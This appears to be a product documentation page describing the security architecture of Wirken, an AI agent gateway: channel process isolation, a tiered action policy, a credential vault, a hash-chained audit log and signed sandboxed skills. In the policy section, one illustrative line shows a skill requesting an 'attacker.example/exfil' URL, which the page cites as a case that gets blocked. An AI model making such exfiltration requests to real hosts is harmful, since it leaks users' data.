How

The architecture, end to end.

Architecture

Wirken runs as a small set of cooperating processes. The channel adapters and the MCP proxy run as their own OS processes; the gateway and agent share one. Each adapter holds the credentials for its channel and nothing else, and the MCP proxy holds the credentials for each MCP server child and nothing else. A compromise of any one process reads exactly the secrets that process was already trusted with.

Channels
Telegram, Discord, Slack, Microsoft Teams, Matrix, WhatsApp, Signal, Google Chat, iMessage, plus WebChat as the localhost surface. Each adapter is its own OS process with its own Ed25519 identity.
UDS · Ed25519 handshake · Cap'n Proto frames
Gateway
Adapter registry, router, injection detection, permissions policy, audit chain, SIEM forwarder, scheduler. The trusted base.
in-process channels
Agent
Context engine, tool registry, skill loader, vault handle, LLM client. Stateless between turns; the harness replays the session log on wake.
UDS to MCP proxy · HTTPS to LLM providers
MCP & LLM
MCP proxy runs out of process and owns MCP credentials. LLM providers are reached over TLS: Ollama, Anthropic, OpenAI, Gemini, Bedrock, Tinfoil, Privatemode, and any OpenAI-compatible endpoint.

Per-channel process isolation

Each channel adapter is a separate OS process spawned by the gateway and tracked in the adapter registry. The adapter holds the platform credentials for its channel and nothing else, so it cannot invoke tools, read other channels' sessions, or reach other channels' credentials.

Adapter-to-gateway IPC runs over a Unix domain socket. Adapters authenticate with a per-adapter Ed25519 challenge-response handshake at connect time, and the gateway records the channel that handshake resolves to as the authenticated channel for the connection. Frames are serialized with Cap'n Proto, a zero-copy format whose traversal limits the gateway enforces before parsing the payload.

Every inbound frame carries a self-declared channel string. The gateway calls AuthenticatedChannel::require_match on that string against the handshake-resolved channel before routing. A mismatch fails the frame and writes both sides of the discrepancy to the audit chain, so cross-channel impersonation attempts are observable in the log, not just rejected at the door.

The IPC crate carries a sealed Channel trait and a SessionHandle<C: Channel> type whose channel marker is a zero-sized type parameter. SessionHandle<Telegram> and SessionHandle<Discord> are distinct Rust types, so the compiler rejects code that tries to pass one where the other is expected. /channels walks the type signatures. Reference: crates/ipc/src/channel.rs.

The typed-action policy

Every gateable operation is a variant of a Rust Action enum. The dispatcher matches on the enum at every tool call, the match is total, and the compiler enforces totality. A new gateable action without a tier fails to build; removing one fails every site that previously handled it. Your policy decision lives in Rust before the JSON the model produced reaches the tool.

An action resolves to one of three tiers when the dispatcher classifies it.

A skill that proposes Action::NetworkRequest { url: "https://attacker.example/exfil" } resolves to Tier 3, so the egress prompts you before any bytes leave the host. The LLM is never on the policy path. The model proposes; the dispatcher classifies; the policy engine decides allow, prompt, or deny; and the audit chain records the decision before the tool runs. Reference: crates/gateway/src/permissions.rs.

The encrypted credential vault

Credentials sit at rest in an XChaCha20-Poly1305 vault. The vault key lives in your operating system's keychain (macOS Keychain via the Security framework, Linux Secret Service via the freedesktop API). Wirken never writes the vault key to disk.

Decrypted secrets are wrapped in SecretString, which deliberately does not implement Display, Debug, Serialize, or Clone. The only access path returns a short-lived reference that cannot outlive the secret value, and when the value goes out of scope, its memory is zeroed via zeroize. A stray println!("token: {token}") fails to build, not at runtime. This is not a developer convention; it is a property the compiler enforces on every code path.

MCP credentials sit behind one more boundary. The MCP proxy runs as a separate process over a Unix domain socket, and each MCP server entry in mcp.json spawns its own child with its own pipes and its own scoped credentials. Your agent process never holds a plaintext bearer token or an OAuth2 client secret for an MCP server, so an exploit against the agent reads zero MCP secrets.

The audit chain

Every session writes a SHA-256 hash-chained event log. The log lives in SQLite as a single append-only table. Each row carries the previous row's hash, the event payload's hash, and the resulting chain hash, and the chain head is signed periodically with the agent's Ed25519 identity over the sequence range it covers.

The events are typed: user messages, assistant messages, tool calls (with action variant, tier, and decision), tool results, LLM request and response metadata (with a hash of the exact messages and tools sent to the provider), permission decisions, injection-detector flags, and outbound deliveries. A tampered row breaks the chain. A forged head fails to verify against the agent's published key. You can prove the order events ran in without trusting wirken to tell you the order. The chain proves the sequence of decisions, not the correctness of any one decision.

Verification is offline. wirken session verify <session-id> reads the per-session rows, recomputes the per-event and chain hashes, replays deterministic tool calls against their recorded inputs, and reports any divergence with the row and reason cited. wirken audit verify walks every per-session chain in the database and checks the Ed25519 signature on each chain head against the agent's published key. The full schema and CLI surface live at docs/audit-cli.md.

The same typed events feed a SIEM forwarder when one is configured. Datadog, Splunk HEC, Microsoft Sentinel, and any HTTPS webhook are first-class targets. Events ship after they land in the chain, so the SIEM stream and your local audit log are independent views of the same record.

The skill envelope

A skill is a directory. The directory contains SKILL.md, the model-facing instructions and a YAML frontmatter block that declares the skill's tools and permission expectations. It optionally contains skill.wasm, a compiled WebAssembly module that exposes one or more tools to the agent. A frontmatter that sets disable-model-invocation: false opts the skill into the LLM's auto-pickable set; without that line, the skill is only reachable through an explicit /skill-name slash command.

Skills are signed. The signature is an Ed25519 signature over the SHA-256 hash of SKILL.md, hex-encoded into SKILL.sig alongside the manifest. Two verification modes are supported. A self-signed skill carries its own public key in SKILL.pub, and the signature verifies against that key. The bundle's signature matches the bundle's own key, which is necessary but not by itself a statement about who that key belongs to. A registry-pinned skill is anchored by a delegation signature: a bundled root key signs over the skill's verifying key, and the skill's signature is only trusted if that delegation verifies first.

Wasm skills run inside Wasmtime with WASI preview 1. The host link layer exposes only the tool interface, with stdin and stdout pipes captured into memory rather than the real OS handles. Filesystem access for the agent's workspace is bounded separately by cap-std at the tool layer: the workspace directory is opened once as a cap_std::fs::Dir, and every file operation goes through that handle, which refuses absolute paths and any path component that escapes the workspace. Lyrik, the static-analysis skill, is the worked example. Signed bundle, declared permissions, WASM-sandboxed runtime, the full envelope in action: lyrik.wirken.ai.

The flow

For one inbound message, from arrival to policy decision:

  1. The platform delivers a message to a channel adapter. The adapter is the only process in wirken that holds that platform's credentials.
  2. The adapter signs and frames the inbound message and forwards it to the gateway over its authenticated UDS connection. The gateway verifies the frame, matches the claimed channel against the authenticated channel, and records the inbound event in the audit chain.
  3. The gateway routes the message to the appropriate agent with the merged permission profile for that session. The agent loads the relevant skills, populates the context window within the model's token budget, and calls the LLM.
  4. The agent receives a tool call from the LLM. The dispatcher resolves it to an Action variant. The policy engine checks the action's tier and either allows, prompts, or denies. The audit chain records the decision and the tool result before the next turn begins.